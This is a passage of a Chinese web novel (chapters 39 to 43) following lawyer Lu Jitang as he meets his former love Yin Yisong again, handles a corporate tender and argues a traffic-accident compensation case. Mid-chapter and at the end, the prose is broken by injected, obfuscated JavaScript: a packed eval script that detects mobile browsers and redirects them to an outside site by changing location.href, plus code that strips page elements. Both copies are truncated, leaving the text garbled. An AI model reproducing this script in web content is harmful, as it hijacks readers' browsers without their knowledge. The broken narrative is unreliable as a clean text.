他和山月遥本质上其实是一种人,能和很多人处得来,但却只愿意让少数几个人真正走进自己的生活里。 路既棠和山月遥真正熟悉起来,还是因为一个案件。 山月遥很少接诉讼案件,那时候却难得接了一个离婚案件。 案件是在下面的县城开的庭,路既棠那时候刚好也有案件在同一个法院开庭,于是两人索性一起去了,可以轮流开车。 冬季的天黑得早,下午开完庭出来,天已经擦黑了,回去的路上是路既棠开车,快到高速路口时,一群凶神恶煞的人拦住了他们。 领头的人砸他们的车窗让他们下车。 路既棠不是第一次遇到这种事,因此没有多惊慌。 山月遥冷冷一笑,“是冲我来的,砸窗的是刚刚开庭那离婚案件的男方。” 她看向路既棠,“抱歉,连累你了。” 路既棠说道:“没事,做这一行,总会遇到这种事情的。” 他们下车后,路既棠挡在山月遥身前,道理讲不通,但钱管用,他心平气和地对方谈条件,谈到最后,除了砸窗的人无动于衷外,其他人都准备松口了。 但下一刻,砸窗的人突然发难,手上棍子抡了过来,路既棠反应很快,当即扼住对方的手腕,但还是被棍子扫到了胳膊。 山月遥将手上一直握着的陶瓷杯砸了出去,砸到那男人的肩窝上,男人吃痛,下意识松开了手,随着棍子落在地上,男人肩窝上也传来了杯子四分五裂的声音。 山月遥神色冷傲,如雪地红梅,往日里文弱的气质一扫而空,她厉声道:“我看谁敢再进一步?” “你们眼里还有法律吗?” “光天化日之下寻衅滋事,一旦既遂,你们知道要判多少年吗?” “你们给人出风头,你们知道坐牢会让父母妻子儿女抬不起头吗?” 她朗声笑,声音里却有一股寒意,“我们想息事宁人,你们却不愿意,正好,你们没机会了。” 她话音刚落,警车就到了。刚刚还嚣张至极的一群人很快被制服。 她走到刚刚砸窗打路既棠那个男人面前,笑着低声说道:“你不是喜欢家暴吗,你放心,我一定连本带利地让你在监狱里,长长久久地反刍自己当年的英姿。” 等人全部被押上车,山月遥回到路既棠身边,问道:“你的伤势怎么样?” 路既棠说不碍事,“其实我已经做好拖延时间不成,真的用钱息事宁人的打算了。” 山月遥脸色发白,却还是笑盈盈地说道:“那我更不能辜负你了,幸好还算及时。” “只是没想到,那人居然真的敢动手。”路既棠说道,“我看过案卷,那人赌博,应该很缺钱,我还以为能说得动他,倒是没想到……” “他缺出气筒,怎么可能会让妻子真的离婚,可惜了,遇到了我。”山月遥揉着额头,一句话说完,整个人脱力就要栽下去。 路既棠连忙扶住她,“你怎么了?” “偏头痛发作了,”山月遥坦白道,“其实也是劫后余生,吓得腿软了。” 那一瞬间,路既棠居然真心实意地想笑。 有这共同遇险的经历,从此之后,路既棠在赴山月遥的约都觉得轻松了许多。 他是真的把山月遥当成了朋友。 40. 第 40 章 路既棠正要回复山月遥,山月遥却说道:“家里突然有急事叫我回去,我们周日再约,植物园附近有一家主做粤菜的餐厅,到时候我请客。” 周日下午,路既棠准时到了。 “这家餐厅的菜口味清淡,”山月遥给他倒了一盏茶,“你上次不是说想吃苦瓜酿吗,这家的还不错。” “周五那天,”她解释道,“我姐说有急事叫我回去,我以为是什么大事,吓得差点在市区飙车,结果到家一看,原来是我……之前那个谁上门了。” “原来是鸿门宴。” 她说道,“当年我一直追着她跑,亦步亦趋地跟了这么多年,我喜欢她,可当年她连站起来回应我都不敢,我不喜欢了,她却来说爱我了,难道这不可笑吗?” 路既棠沉默了一会,不知道为什么,这段时间,他似乎总是从各种奇怪爱情故事的全世界路过。 这种事情,他给不了什么意见,山月遥说的话,他不知道怎么接。 山月遥回过神来,“那天约了你,后来又放了你鸽子,就为了这件事,真是不值得。” 吃完饭后,时间还早,山月遥索性约路既棠在附近走走,消消食。 植物园附近的绿化很好,空气都泛着若有似无的清甜气息。 他们沿着石阶一直走,远处隐隐传来人声。 山月遥听了一会,“我想起来了,今天是周日,有个私立医院在这边做义诊,那医院的中医还挺出名的,很多人从其他城市过来,找这医院的中医看诊。” “以前我妈妈也找过这家医院的医生,想给我调理身体,但不知怎么,一直没约上,今天正好遇到了,”山月遥说道,“走吧,我们也去凑凑热闹。” 植物园前的广场里,不少人在排着队,十几个队伍的尽头,分别坐着十几个穿着白大褂正在问诊的医生。 除了寒流来袭,南林市的冬天一直都不冷,下午的阳光更是晒得人暖融融的,排队也不觉得难熬了。 路既棠一向很有耐心,他偶尔和排在他前面的山月遥说几句话,在山月遥和周围的人聊天打听情况时,他就回当事人的信息。 律师的工作时间比较自由,换句话说,就是加班时间比较自由。 这两年,路既棠已经有意识地把生活和工作分开,但律师的工作性质就意味着这很难,因此路既棠只能尽量地保证自己的休息时间。 在山月遥和周围人的交谈中,路既棠得知,这家医院会在每个季度的最后一个月,选一个周日下午的时间,进行义诊,已经持续很多年了。 路既棠一直低头回信息,等山月遥坐在医生面前时,他才短暂地抬头看了一眼。 就是这一眼,让他定住了。 该怎么形容这一刻呢? 路既棠觉得眼前模糊了一下,他狠狠一闭眼又睁开,却还是对上了一双直直望着自己的眼睛。 殷倚松的眼睛。 路既棠觉得惊奇,明明十年过去了,明明眼前这个人,穿着白大褂,戴着口罩,只露出沉静内敛的眉眼,可他却还是认出了殷倚松。 在前所未有的难捱中,路既棠想马上离开这里。 幸好,对方很快移开目光,低下头为山月遥看诊了。 山月遥站起身时,路既棠说道:“我们走吧。” “排了这么久的队了,你不看看吗?”山月遥不解。 下一刻,山月遥看到一直坐着的医生站起身来,那人很高,连路既棠都只到他的耳垂处。 那人喊道:“路既棠。” 这下山月遥由不解变成了惊讶,她叹道:“你们认识?” 殷倚松没有空回答她,他贪婪地看着路既棠,看路既棠光洁的额头,锋利的长眉,上翘的眼尾,挺直的鼻梁,还有……淡红色的唇。 这个人站在冬日里,清凌凌的,如临水而立的鹤,这么多年,路既棠变了很多,可身上的气质却和当年没有半点分别,都是这么招人喜欢。 路既棠没有笑,他微侧身,垂下眼,除了刚开始那一眼,他没再看过殷倚松。 没关系。 殷倚松想,这么久了,路既棠的目光终于落到了他身上,哪怕只有很短的一瞬间。 路既棠终于看他了。 他守着心里的红线,在那件事做完之前,不敢越雷池一步,可这次,偏偏是这个人先走到了他的面前。 种种千回百转的心事,在几秒钟的时间里流转而过。 路既棠“嗯”了一声,算作是对山月遥的回答。 再见到殷倚松,让路既棠心乱如麻,他抬步就要走。 “等一等。”殷倚松叫住他,“好久不见,不想叙旧没关系,但排了这么久的队,还是看看吧。” 山月遥只觉得他们之前的气氛十分诡异,又十分眼熟,她想了想,又看到那个医生看向路既棠那灼热滚烫的视线,像是要把路既棠直接揉碎了藏进身体里。 这目光,根本毫不掩饰。 她恍然惊觉,他们不是什么尴尬的熟人,而是分别多年、余情未了的旧爱。 路既棠终于还是坐下了。 刚一坐下,他就闻到了,殷倚松衣领和袖口处传来的清苦冷涩的艾草气息,靠得近了,那气息愈发冷冽深沉,起初闻着是苦的,闻得久了,居然有一种回甘的香气。 殷倚松的手指搭上他的手腕,路既棠下意识想抽出手,又忍住了。 察觉到路既棠的抵触,殷倚松的动作更轻了。 把完脉后,殷倚松问道:“你的胃痛,这些年是不是发作过,这两年不是发作越来越频繁?” “对。”路既棠言简意赅地答道。 殷倚松又问了几句症状,随后写了一张方子,递给路既棠,“这些药放在一起煎煮,每周三次喝下去,忌生冷食物。” 他说完后,看向路既棠,目光温柔,“注意身体,你胃不好,别喝太多酒。” 路既棠避开他的目光,点了点头,“谢谢。” 走出了植物园,山月遥才说道:“我总觉得我做了什么坏事。” 路既棠敛起恍惚的心神,说道:“没有,这和你没关系,同在南林市,我和他早晚会有遇到的一天。” 山月遥犹豫了一会,“恕我直言,你现在这样,我挺担心你的。” 路既棠笑了一下,他简明扼要地把自己和殷倚松的渊源,说给山月遥听。 山月遥听完后,若有所思,“那十年前,他一定很爱你。 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“开完线上会议,困得要命,直接在沙发上睡着了。”白鹤生说道,“我打算这几天住你这里了,借你这里躲躲席云启。” 路既棠去厨房倒了两杯水,放在茶几上后,说道:“你们又怎么了?” “没怎么,就是跟他住在一起,真要命。”白鹤生心有余悸,“太能折腾了,再这么下去,我怕我的腰真断了。” “这也管那也管,什么都管,”白鹤生不耐,“真烦他。” 路既棠正在喝水,闻言咳了一下,他无言以对,唯有沉默。 过了一会,路既棠还是没忍住,说道:“你真的不担心他会找来我这里?大学时,他就吃我的醋,以前我去你学校找你,他看到我都是冷着脸的,好不容易确认我和你真的没有别的感情,他才对我和善了点,真的,你们饶了我吧。” 白鹤生冷笑,“别怕,我早晚甩了他,他哪有你重要,他要是真敢为难你,我立马和他翻脸,说到做到,绝对不会再让你受委屈。” 路既棠闻言,叹了口气,“好吧,你住这吧,钥匙你有,晚上别回来太晚就行。” 白鹤生闻言,兴高采烈地过来揽路既棠的肩,“我就知道,还是你靠得住。” “对了,有个高中同学问我,能不能把你的联系方式推给校友,那个校友好像是有什么东西要给你。”白鹤生被路既棠挣开手也不生气,继续说道:“你是什么意思?” “东西,”路既棠觉得疑惑,“这么多年过去了,还能有什么东西?” 在咖啡店里见到这位校友时,路既棠依然觉得疑惑。 眼前的这个女生穿得很休闲,一身运动服,披着头发,素面朝天,她拿着一个信封,在路既棠对面坐下,“我是罗慕书,不好意思,出来见人实在是不想收拾自己了,见谅。” “是这样,我在大厂996了很多年,前段时间被恶心得干不下去就裸辞了,蹲在家里的这段时间,我把自己的东西收拾了一遍,偶然间发现了这个。” 她从信封里拿出一张照片。 路既棠接过来低头看了一眼,下一刻,他怔住了。 41. 第 41 章 照片上是两个人的背影。 十多年前,南中校运会的操场上,少年时的路既棠和殷倚松的背影。 路既棠抬起头来,神色复杂地看向对面的女生。 “好多年了,其实我还真的有点怀念高中时代,那时候我只需要埋头学习就好了,不用像现在这样,为各种各样的事情心力交瘁。”罗慕书说道。 “这是高二校运会上我拍的,本来想给你们,但你们走得太快了,我还想等下次见面再给你们,结果夹在书里忘记了,幸好没丢,没想到这张照片重见天日,已经过了这么多年。”她说,“人生的际遇真是令人感慨。” 路既棠手指按着那张照片,久久无言。 罗慕书喝了一口咖啡,接着说道:“你知道吗,高中的时候,可多女生暗恋你了,你真的太出名了,但你可能不知道。” “那时候我一心沉迷二次元,两耳不闻窗外事,但我也知道你,只不过当时我没想到是你,看到你和另一个人的背影很好看,索性就拍下来了,前段时间翻出了这张照片,反正闲着也没事,我去问同学知不知道照片上的人是谁,结果她一眼就认出了你。”她打趣地笑道。 “你敢信,这么多年了,还是有人仅凭一个背影就认出了你。” 路既棠笑了笑,“那我可真是太荣幸了。” 可能真的是憋坏了,罗慕书说起高中的事情就滔滔不绝,路既棠也很有耐心地听她倾诉。 三杯咖啡喝完后,罗慕书说道:“如果没记错的话,那时候你和照片上的另一个人关系挺好的,他是不是叫殷倚松,你们还有联系吗,能不能麻烦你和他说一下照片的事情……” “毕业之后,我们就没联系了。”路既棠说道。 罗慕书点点头,她能感觉到路既棠对这个话题的抵触,于是她换了个话题,“其实我也不知道我能在家蹲多久,我这个年纪,又裸辞没工作了,肯定要被催婚的,我得尽快躲出去。” 路既棠听后问道,“你现在有想做的事情吗?” “摄影吧,或者画画和旅游,其实最想的是躺平,反正父母不想让我做的事情我都喜欢。”罗慕书说道,“当了这么多年牛马,我不止觉得累,还觉得人生很虚无。” 路既棠想了想,说:“我有个高中同学,她和你一样辞职了,后来做了风光摄影师,在业内已经很有名气,她最近打算做旅行纪录片,在招合伙人,她的下一站是西北,她说她终于要去追西北的风沙了。” 路既棠说道,“你说你喜欢摄影和旅游,要不要和她一起去看看世界?” “好啊!”罗慕书说道,“她叫什么名字。” “她叫薛晓希。” 和罗慕书道别后,路既棠站在咖啡店门口,手上拿着那张照片,他想,或许有时候,命运兜兜转转,终究会将人引去年少时想去的地方。 他看照片上那个人的背影,越看越觉得心口发疼,他叹了一口气,将照片收好,转身离去。 工作处理完,路既棠抬头看办公室外的天色,冬夜的月亮朦胧冷清,今天他加班到了晚上九点,和从前通宵加班相比,这似乎不够看,但在回到南林市后,这已经算是加班加得很晚了。 白鹤生打电话催他回去。 回到家后,路既棠发现白鹤生已经做好了饭。 “你这么懒,居然下厨了。”路既棠觉得惊奇。 “说什么呢?”白鹤生把围裙解下来,“我做饭你还不乐意了,席云启想吃还吃不到呢,过来吃饭。” 白鹤生的厨艺长进得很快,他学什么都快,当年被路既棠抱怨做饭难吃之后,白鹤生就下苦功学,多年过去,白鹤生已经能将饭菜做得非常可口了。 所以,白鹤生住过来,路既棠还是很高兴的,他真的很想念白鹤生做的饭。 可惜一年前白鹤生回到南林市,席云启又追过来,白鹤生就很少和他住在一起了。 吃饭之前,白鹤生还特意给一桌子菜拍了照,发了朋友圈,还配了一句“难得下厨”。饭菜色彩鲜亮,一看上去就让人很有食欲。 吃完饭,路既棠把碗筷放进洗碗机,在等洗碗机工作时,刷了刷朋友圈,看到白鹤生那条朋友圈下,席云启点了个赞。 越是风平浪静,路既棠就越觉得,白鹤生要倒霉了。 果不其然,第二天一早,白鹤生就被一通电话叫走了,后来一连几天,白鹤生都忙得脚不沾地,根本没空再回路既棠家。 这天下午,山月遥来敲路既棠办公室的门,她进来之后,先看了看沙发边上的文竹,“你的文竹真给你面子,长得真漂亮。” 路既棠站起身来,“我这有前几天刚到的雨前龙井,要不要尝尝?” 山月遥点点头。 路既棠坐在她对面的沙发上,手法娴熟地煮茶。 等到路既棠将茶盏放在她面前时,山月遥才收回看向路既棠那修长白净手指的目光,她叹道:“如果放在古代,你一定是魏晋时期风雅的世家公子。” 路既棠不以为意,“可惜现在是新时代了。” 山月遥喝了一口茶,才进入正题,“贺师兄和我说,有家制药公司最近在招标,要签新的协议律所,席总……就是你发小白鹤生的大学同学,向贺师兄建议我们律所试试。” “这家公司在法律方面的预算一向很大方,如果真的中标了,律所未来五六年的发展都不用愁了。”山月遥说道,“南林市十几家有名的律所都在争,贺师兄让我全权负责,试一下,成不成都没关系。” 路既棠沉吟了一会,“需要我做什么?” “真爽快,”山月遥说道,“标书我已经做好了,但有些数据需要校对,你的检索能力比我强很多,需要麻烦你帮忙核对一下重要数据。” “其实说真的,我们只能尽量把标书做好,尽人事听天命,”她说道,“我可不想靠压低竞争价格、恶意内卷来达成目的。” 标书到殷倚松手里时,席云启正好在场。 席云启西装革履,殷倚松则是穿着一身黑色织金长衫。 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路既棠失笑,“招投标而已,这有什么,你要是真的觉得亏待了我,不如分我一点提成。” “行啊,本来就该有你的份。”山月遥说道。 制药公司的法定代表人是一个约莫四十岁的中年男人,名叫于游。合同签完后,他率先起身握住了贺惊筠的手,笑道:“贺主任,合作愉快。” 贺惊筠气质出众,眉目含笑,他回握对方的手,笑着说道:“合作愉快。” 晚上的商务宴席上,殷倚松出现的那一刻,路既棠由衷觉得,山月遥那句话是对的。 坐在路既棠旁边的山月遥显然也意识到了,她低声对路既棠说道:“完了,我回去给你负荆请罪。” 贺惊筠也认出了殷倚松,当年翠凉山上,殷倚松在人潮中寻找路既棠的样子,让他印象深刻。 于游站起身来,将殷倚松迎至主位,向在场的人介绍,殷倚松和众人打了招呼后,在主位落座。 于游是明面上的法定代表人,殷倚松才是背后的实际控制人。 贺惊筠是主宾,坐在殷倚松旁边。 贺惊筠在这种场合上一向游刃有余,三言两语间就把气氛活跃起来。 这场宴席中,他们基本不怎么喝酒。中途,路既棠离席。 他在洗手间洗了一把脸,再抬头时,就在镜中看到了站在身后的殷倚松。 路既棠将脸上的水珠擦干净后,才转身看向殷倚松。 “你早知道,是不是?”路既棠问道。 “是。”殷倚松径直说道。 洗手台前,路既棠取下鼻梁上的眼镜,揉了揉眉心,他脸上隐隐露出痛苦的神色,“那你现在想做什么?” 殷倚松看着他,像是想伸手替他抚平微皱的眉心,手在半空中顿了一下,却还是收回了手。 “能不能给我你的联系方式,新的。” 42. 第 42 章 闻言,路既棠顿了一下,接着他把眼镜戴了回去,抬头看向殷倚松,“换个地方说话吧。” 等到了安静不会有人打扰的地方,路既棠率先开口了,“我不会因为私人恩怨影响工作的事情,联系方式可以给你。” 一分钟后,路既棠点下“同意添加”,看到属于殷倚松那个空白的聊天界面,他终于忍不住了。 “你算计我?”路既棠气得想甩殷倚松一巴掌,“从一开始你就在算计我。” “我说我没有干预过招投标的过程,你信吗?”殷倚松站在灯下,他靠近一步,握住路既棠正在轻轻颤抖的手,“如果你想打我,就打吧。” 下一刻,路既棠真的顺势伸手打了殷倚松一巴掌。 他没有收着力气,清脆的声音在空旷的房间响起,殷倚松的脸被他打得偏向了另一边。 殷倚松没说话,只是转过脸来,专注地看着路既棠。 路既棠的手在颤抖,唇也在颤抖,他说道:“我信不信又有什么关系,反正现在结果都这样了。” “殷倚松,我说过了,十年前我就说过了,我不想再见到你。” 他话音未落,就发现殷倚松伸出手,轻轻摩挲他刚刚打人的手指,看到他泛红的手指时,殷倚松似乎还微微蹙了一下眉。 “我记得。”殷倚松眉目微垂,他叹了口气,“可是我没办法,你就当作是可怜我吧。” “谁要可怜你,”路既棠甩开殷倚松的手,咬牙道,“我只想你和你家的人离我远一点。” 殷倚松眸光晦暗。 “这世上这么多人,你想要什么样的人没有……”路既棠猝不及防地停了声音。 因为殷倚松抱住了他。 殷倚松的体温随着两人交叠的肢体源源不断地传来,殷倚松的动作很轻,却不容反抗,他将路既棠越搂越紧。 他低头,在路既棠的耳边轻声说道:“是啊,这世上这么多人,可是,我谁都不要,我只要你。” 说完这句话后,殷倚松很快松开了路既棠。 这回,路既棠连生气都没有力气了,他只想转身就走。 他走出两步,身后传来殷倚松的声音,那声音低沉又柔和。 殷倚松说:“别怕我,阿棠。” 第二天,路既棠就接了一个委托人在其他城市案件,出差之前,他托白鹤生上门帮他喂年年,之后他就出差了一周。 一周后,路既棠回到了南林市。工作能让他迅速压下自己焦灼的情绪,现在,他的情绪已经趋于稳定了。 在路既棠消失的一周里,山月遥给路既棠发消息道歉。 路既棠在高铁上回道:“没事的,和你没有关系,既然这个项目拿下来了,我们就好好做。” “席云启之所以建议我们律所参加,应该一开始就是冲我来的。”路既棠说。 回完信息后,他看着窗外的风景,不由自主地想,“白鹤生招惹了这样的人,如果有一天真的不喜欢了,要和席云启分手,白鹤生真的能全身而退吗?” 路既棠还记得,十几年前的新年里,被父母赶出家门的白鹤生说,有人收留了他。那时候的席云启,真的像白鹤生说的那样,只是出于好心而没有一点图谋吗。 大学时,席云启和白鹤生同一个专业,同一个寝室,可白鹤生之前分明没有和别人透露过想学什么,真的会这么巧吗,到底是机缘巧合还是有人机关算尽。 他拿不准白鹤生对席云启到底是什么感情,如果席云启对白鹤生来说真的可有可无,白鹤生绝不会是这样的态度,与其说是吵架,不如说是闹脾气,可白鹤生只会和最亲近最信任的人闹脾气。 路既棠越想越觉得头痛。 他自己的事情都想不明白,又怎么能想明白别人的事情,最后他干脆不想了。 工作学习上的事情,他可以快速理出条理章法,但感情上的事,他一向是想不出来就逃避,这么多年,他还是没有什么长进。 路既棠在心里长叹一声。 他回到南林市后,开始准备法律援助案件的开庭事宜。开庭前一天,他提醒叶瑱开庭时的一些注意事项。 第二天早上八点五十分,各方当事人就坐。 路既棠和叶瑱坐在原告席,被告席坐着被告一当时撞人的小车车主和被告二保险公司的法务。 坐在书记员席的是一个非常年轻的女生,学生气很重,扎着马尾,面容憔悴,正在打印送达地址确认书。 路既棠对这位书记员有一些印象,这个法院是南林市案件量最多的法院,去年十二月底,路既棠上午开了一个庭,下午又开了一个庭,巧合的是,两个庭的书记员都是这个女生。 庭后签笔录时,路既棠和她聊了几句。书记员麻木地笑道:“早上开四个庭,下午开三个庭,我没有时间悲伤。” 十二月,既是季度末又是年末,各行各业都在冲业绩。 没想到一年过去了,路既棠在年底又遇到了她。 早上九点,法官敲法槌,“现在开庭,下面核对各方当事人信息。” 在各方当事人都不申请回避后,进入法庭调查环节。 先由原告方陈述诉讼请求,路既棠简要陈述,要求判令被告一和被告二共同赔偿原告经济损失,被告保险公司在交强险、商业险限额内先予赔偿,并在交强险限额内优先赔偿精神损害抚慰金和被扶养人生活费,并由两被告承担本案全部诉讼费用,事实及理由详见起诉状。(注) 接下来由被告方发表答辩意见,保险公司的意见与答辩状一致,只是额外说明不承担本案诉讼费用,小车车主同意保险公司的答辩意见。 各方都很熟悉开庭的流程,流程进行得很快,在原被告举证质证之后,审判员归纳本案争议焦点,第一,本案民事责任如何确定;第二,原告经济损失损失如何确定。 接下来,是法庭辩论环节。 这个案件,除了精神损害抚慰金和被扶养人生活费外,其他费用都有明确的标准参照,没有争议。 被扶养人生活费之所以有争议,是因为叶瑱的父亲早亡,保险公司无法确认其死亡原因,认为叶父也有因交通事故死亡的可能,这会导致被扶养人生活费的重复诉请。 法庭辩论就只围绕精神损害抚慰金和被扶养人生活费展开。 在第一轮法庭辩论里,叶瑱问被告一,“你当时明明已经看到了我妈和我弟弟了,你为什么没有及时刹车,现在我没有妈妈了,你知道吗?” 被告一小车车主伸手抹了一把脸,低声呐呐说道:“对不起,真的对不起。” 第一轮法庭辩论结束后,争议依然没有解决,法官说道:“下面进入第二轮法庭辩论。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396666|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >保险公司的法务说道:“第一,我司根据案件事故的情况,结合本次事故涉及一人死亡、一人受伤,依法合规公平分配交强险限额,不存在违规行为。” “第二,对于被扶养人生活费,我司坚持前期庭审意见。” “第三,对于精神损害抚慰金,死者驾驶电动车未佩戴头盔上路,我司认为其应承担其违法行为带来的不利后果,本次事故双方同责,按照我司与被保险人合同约定,被保险人负事故同等责任的,我司不承担精神损害抚慰金的赔偿责任。” 保险公司的法务说完后,路既棠开口,“首先,对于被扶养人生活费,我方提供的证据可以证明,死者丈夫为因病死亡,与交通事故无关,不存在重复诉请被扶养人生活费的情形。” 路既棠接着说道:“其次,对于精神损害抚慰金,保险公司对该项损失的答辩理由和评判精神损害抚慰金的多少无关,精神损害抚慰金是针对家属的精神赔偿,本案死者的父亲年事已高,有一子年仅十二岁,请法院适当增加该方面的赔偿。” “最后,我方诉请优先在交强险限额内赔偿精神损害抚慰金,交强险作为法律强制性规定,可以对抗合同的相对性,保险公司该项条款无效。”路既棠说道。 法官听完各方意见,经确认无法调解,于是宣布改日宣判。 法官敲下法槌,“休庭。” 法官离开后,各方当事人在等着签笔录。 签完笔录后,小车车主先行离开,叶瑱和路既棠说了几句话后也离开了。 在场只剩下书记员、保险公司的法务和路既棠。 法务看了看路既棠,眼睛一弯,“可以啊,路既棠。” 书记员对法务和律师认识这件事已经见怪不怪了,她说道:“签完字就可以走了。” 出了法.院,保险公司的法务康谚说道:“不知道为什么,今天的庭,我开得有点累。” “你说,我们在法庭上你来我往针锋相对的,下了法庭要不要约个饭,交流一下同窗之谊。”康谚“啊”了一声,“我大老远地从别的地市过来,累死我了。” 路既棠忍俊不禁。 康谚是他的大学同学,毕业后进了央企当法务,这么多年过去,已经是法务部的主任了。 从事这个行业,路既棠会遇到很多熟人,他的很多同学、同门都深耕在这个领域里,在法庭上,他们为维护自己当事人的利益,和曾经的老师、同学据理力争。 可私下,他们的感情却一直很好。 “这两年,你不是主要做法律合规,不怎么开庭了吗?”路既棠让康谚上车,“你没开车来吧,吃完饭后我送你去高铁站。” 康谚接过路既棠递过来的水,拧开瓶盖喝了小半瓶之后,才说道:“可说呢,这个案件有疑点,底下的小孩觉得是反欺诈案件,如果真是,后面是要追偿的,不过这和你的当事人没关系了,他们抓不了细节,我只好来一趟了。” 路既棠一边开车一边说道,“人能说谎,但只要是谎言,细节就永远不可能天衣无缝。” “大学时法医学和侦查学,你都考了专业第一,”康谚笑道,“你这样的人才,当年他们居然没把你挖走,真是太可惜了。” 康谚接着说道:“咱们去哪吃,吃什么,今早起晚了,我都没来得及吃早餐,刚刚差点饿昏在法庭上。” 43. 第 43 章 十二月的最后几天,路既棠是在加班中度过的。 十二月的最后一天,叶瑱那个案件的判决书出来了。年底了,法院的效率特别高。 路既棠看了判决书,绝大部分费用都按照原告的诉请判决了,法院也支持了路既棠对被扶养人生活费的主张,法官对精神损害抚慰金有自由裁量权,最终定了一个折中的方案,核定原告总损失一百一十二万,按照责任比例,由保险公司在交强险和商业险限额内先予赔偿。 诉讼费由被告一小车车主承担。 路既棠看完判决书后,发消息问康谚上不上诉。 康谚信息回得很快,“我们这边不上诉,我刚刚问被保险人了,他对承担诉讼费这项判决无异议,上诉期十五天,十五天内被保险人和原告不上诉,判决生效,我们这边就可以按照判决打款了。” 各方都没有上诉,时间一到,赔偿款准时打到了叶瑱的账户。路既棠分文不取,他又去见了叶瑱一面,把证据原件和各种材料交给叶瑱。 叶瑱在材料交接表上签字时,路既棠说道:“你的人生还很长,如果可以的话,还是要好好完成学业,你坚强、聪明,我相信,你会有很好的未来,往后你需要帮助的话,也可以联系我。” 一行眼泪从叶瑱的眼睛里缓缓流下,她哽咽地说道:“谢谢你,路律师。” “不客气啊,”路既棠安慰道,“祝你和你弟弟未来一切顺利。” 走出医院,路既棠站在街头。 道路两旁的树上被挂上了许多红灯笼,红彤彤的,看上去又热闹又有生机。 原来是新年快到了。 他站在街头,吹了一会风后,惆怅地笑了一下。 今年的年夜饭,路既棠是在白鹤生家吃的。 白鹤生从下午就开始在厨房摆弄,席云启戴着围裙给白鹤生打下手,偶尔被白鹤生嫌弃也没有离开厨房,只是低声哄着,问白鹤生怎么做才对,像是有着用不尽的耐心。 路既棠看着他们两人的身影,觉得自己是操太多心了,他们的事情,就让他们自己解决,只要别城门失火,殃及他这条池鱼就好。 吃完年夜饭后,又看了半个小时春晚,白鹤生对席云启说道:“我们出去一会,你别跟过来。” 说完后,他没再管席云启,抓着路既棠的手往外跑。 这里离江边不远,白鹤生拉着路既棠一路跑到江边才停下。 “小时候,我们也是这样跑。”白鹤生笑得肆意又张扬。 月光清澈如水,照在江面上,江水波光粼粼。 在这短暂的寂静中,白鹤生竖起食指,开始倒数,等他倒数到最后一个数时,无数璀璨的烟花在此刻绽放。 烟花将江水和天际都点亮,亮得像十几年前那个夏天的白昼。 路既棠抬头看绚烂夺目的烟花,耳边传来白鹤生的声音,“小棠,我早说过,我要送你一场烟花,不管我和谁在一起,不管我往后的生命中会出现谁,我都是你哥哥,我会保护你一辈子。” 路既棠转过头去看白鹤生。 白鹤生的脸被烟火染成了暖色,和十多年前的样子重叠了。 和十多年前不同,这回是白鹤生先抱住了他,“小棠,新年快乐,以后的每一年你都要快乐,你这么好,一定会有人全心全意、毫无保留地来爱你的。” 新年过后,路既棠在一次外出时,被一道声音叫住。 “学长?”对方不确定道,“路既棠学长,真的是你。” 路既棠回过头去看。 对方一头亚麻色的头发,穿着宽松的牛仔服,唇角勾起一抹笑意,就这样看着路既棠,“学长,我是沈释北,还记得吗?” 南中的学弟,路既棠当然记得。 “好多年不见了,学长,你有空吗,我们聊聊天吧。”沈释北与从前大相径庭,但性格却没有变,依然很热情,他邀请路既棠到附近的店里坐坐。 一顿叙旧后,沈释北说道:“好像从学长上大学开始,我就没怎么在南林市见过你了。” 路既棠说道:“之前我都不在南林市,两年前才回来的。” 沈释北沉默了一会,问道:“是因为殷倚松吗?” “为什么会这么想?”路既棠握着杯耳的手顿了一下。 沈释北没答,转而说道:“学长,你知道我对你的感情吗?” 闻言,路既棠放下手中的茶杯,他停了好一会,才说道:“后来想明白了。” 沈释北笑了,笑声中带着释然,“学长,你太优秀了,我总追不上你。” 他接着说道:“我想过要考你的学校,但我拼尽全力也还是考不上,那时候我觉得没关系,不在一个学校,在同一个城市也是好的,高考结束之后,我偷偷去你学校找过你。” 路既棠静静地看着他,目光中流露出一点震惊。 沈释北笑容中带着苦涩,“我费了一番周折,在学校里找到了你,那时候你戴着耳机,正坐在图书馆里看书,我正要过去叫你,可是……我看到了殷倚松。” 路既棠一不留神,将桌上的茶杯掀翻了,茶水四溢,沾湿了他的衣袖。 沈释北回过神来,连忙拿出纸巾要帮他擦,却被路既棠止住了,路既棠哑声说道:“你继续说。” 沈释北神色复杂地看了路既棠一眼,“那时候,他就站在你身后的书架旁,静静地看着你,他像是没想过要打扰你,他的动作很熟练,像是已经做过成百上千次一样。” “他很快就发现了我,后来,他找到了我,”沈释北继续说道,“他没再像高中那样暗地里警告我,让我离你远一点。” “那时候,他似乎已经心如死灰,他说,他没有资格爱你了。” 沈释北苦笑,“我觉得奇怪,但从你这么多年从没参加过同学聚会这件事上,我多多少少能猜出来,你和他,一定有着很深刻的过往。” “于是我放弃了,这么多年过去,我也释怀了,现在说出来,我也好受多了,谢谢学长能了我的一点心愿,”沈释北说道,“学长,我也没有什么能说的,就用这杯茶祝你幸福吧。” 说完,他饮尽杯中茶后,起身向路既棠道别。 路既棠看着沈释北离去的背影,久久不能回神。 今天沈释北说的话,让他震惊又恍惚,他不想去想殷倚松,可他控制不了自己不去想这个人。 过完年,路既棠恢复正常工作时间。 一天,开完庭出来后,路既棠开车往律所去,路上,一辆车从他的车左侧别过去,对方的车速很快,撞到了路既棠的车头后扬长而去。 路既棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 